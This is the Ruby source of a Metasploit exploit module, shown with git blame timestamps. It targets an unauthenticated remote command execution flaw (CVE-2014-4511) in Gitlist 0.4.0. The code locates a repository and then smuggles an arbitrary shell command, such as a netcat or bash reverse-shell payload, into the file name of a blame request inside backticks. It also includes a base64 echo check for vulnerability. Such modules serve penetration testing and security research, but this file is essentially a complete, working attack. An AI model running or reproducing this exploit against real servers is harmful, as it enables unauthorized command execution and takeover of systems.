metasploit-framework/modules/exploits/linux/http/gitlist_exec.rb

120 lines
3.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2014-07-04 21:40:16 +00:00
'Name' => 'Gitlist Unauthenticated Remote Command Execution',
'Description' => %q{
2014-07-04 21:40:16 +00:00
This module exploits an unauthenticated remote command execution vulnerability
in version 0.4.0 of Gitlist. The problem exists in the handling of an specially
crafted file name when trying to blame it.
},
'License' => MSF_LICENSE,
2014-07-03 17:40:37 +00:00
'Privileged' => false,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Author' =>
[
2014-07-04 21:40:16 +00:00
'drone', #discovery/poc by @dronesec
'Brandon Perry <bperry.volatile@gmail.com>' #Metasploit module
],
'References' =>
[
['CVE', '2014-4511'],
2014-07-04 21:40:16 +00:00
['EDB', '33929'],
['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
],
'Payload' =>
{
2014-07-04 21:40:16 +00:00
'Space' => 8192, # max length of GET request really
'BadChars' => "&\x20",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
2014-07-04 21:40:16 +00:00
'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl',
}
},
'Targets' =>
[
2014-07-03 21:43:01 +00:00
['Gitlist 0.4.0', { }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 30 2014'
))
register_options(
[
2014-07-01 01:15:25 +00:00
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
], self.class)
end
def check
2014-07-04 21:40:16 +00:00
repo = get_repo
if repo.nil?
return Exploit::CheckCode::Unknown
end
2014-07-03 21:43:01 +00:00
chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))
2014-07-04 21:40:16 +00:00
res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")
2014-07-04 21:40:16 +00:00
if res && res.body
if res.body.include?(Rex::Text.decode_base64(chk))
return Exploit::CheckCode::Vulnerable
elsif res.body.to_s =~ /sh.*not found/
return Exploit::CheckCode::Vulnerable
end
end
2014-07-04 21:40:16 +00:00
Exploit::CheckCode::Safe
end
def exploit
2014-07-04 21:40:16 +00:00
repo = get_repo
if repo.nil?
fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
end
send_command(repo, payload.encoded)
2014-07-03 21:43:01 +00:00
end
2014-07-04 21:40:16 +00:00
def get_repo
res = send_request_cgi({
2014-07-04 21:40:16 +00:00
'uri' => normalize_uri(target_uri.path, "/")
})
2014-07-03 21:43:01 +00:00
unless res
2014-07-04 21:40:16 +00:00
return nil
end
2014-07-04 21:40:16 +00:00
first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)
2014-07-04 21:40:16 +00:00
unless first_repo && first_repo.length >= 2
return nil
end
2014-07-04 21:40:16 +00:00
repo_name = first_repo[1]
2014-07-04 21:40:16 +00:00
repo_name
end
def send_command(repo, cmd)
2014-07-03 21:43:01 +00:00
res = send_request_cgi({
2014-07-04 21:40:16 +00:00
'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
}, 1)
2014-07-03 21:43:01 +00:00
2014-07-04 21:40:16 +00:00
res
end
end